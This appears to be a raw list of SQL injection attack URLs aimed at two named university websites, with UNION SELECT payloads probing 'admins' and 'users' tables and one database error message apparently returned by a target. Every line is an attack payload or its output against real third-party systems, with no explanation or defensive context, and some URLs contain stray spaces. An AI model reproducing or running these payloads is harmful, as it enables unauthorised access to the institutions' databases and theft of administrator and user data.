http://www.bridgewater.edu/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9+admins/*
http://www.bridgewater.edu/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9+users/*

http://mrce.wustl.edu/index.php?id=dynamic_page&itemid=7+union+select+nu ll,null,null--

http://mrce.wustl.edu/index.php?id=dynamic_page&itemid=7+union+select+1, 2,3--
ERROR: UNION types character varying and integer cannot be matched